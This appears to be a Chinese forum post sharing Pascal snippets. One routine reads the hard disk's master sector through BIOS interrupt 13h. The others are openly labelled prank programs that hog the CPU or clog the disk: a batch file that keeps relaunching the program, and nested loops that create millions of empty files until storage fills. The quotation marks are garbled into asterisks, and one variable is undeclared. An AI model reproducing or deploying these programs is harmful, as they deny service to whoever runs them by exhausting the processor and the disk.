procedure readdisk(drv,cy,head,sec:word;VAR result:boolean); begin reg.DX:=head*256+drv; reg.CX:=((cy div 256)*64+sec)+(cy mod 256)*256; reg.BX:=ofs(buff[1]); reg.AX:=$0201; reg.es:=seg(buff[1]); intr($13,reg); if reg.ah=0 then result:=true else result:=false; end; 贴一段PASCAL与汇编的结合程序. 就是把硬盘主扇区内容读入buff[1..512]. 这个程序.主要是说明PASCAL也可以直接用调用机器指令.
卡CPU: program hehe; uses dos; var a,b:real; i:integer; begin for i:=1 to 10000 do begin b:=b+1/i;c:=c+1/b;end; assign(output,*a.bat*); rewrite(output); writeln(*start hehe.exe*); close(output); exec(*a.bat*,**); end;
卡硬盘(这个最牛): var a,b,c,d,e,f:char; begin for a:=*a*to*z*do for b:=*a*to*z*do for c:=*a*to*z*do for d:=*a*to*z*do for e:=*a*to*z*do for f:=*a*to*z*do begin assign(output,a+b+c+d+e+f); rewrite(output); end; end.
卡硬盘升级版 var a,b,c,d,e,g,h,i,j,k,l,m,n,o,p : char; f : text; begin for a :=*a* to *z* do begin for b :=*a* to *z* do begin for c :=*a* to *z* do begin for d :=*a* to *z* do begin for e :=*a* to *z* do begin for g :=*a* to *z* do begin for h :=*a* to *z* do begin for i :=*a* to *z* do begin for j :=*a* to *z* do begin for k :=*a* to *z* do begin for l :=*a* to *z* do begin for m :=*a* to *z* do begin for n :=*a* to *z* do begin for o :=*a* to *z* do begin for p :=*a* to *z* do begin assign(f,a+b+c+d+e+g+h+i+j+k+l+m+n+o+p); rewrite(f); end; end; end; end; end; end; end; end; end; end; end; end; end; end; end; end.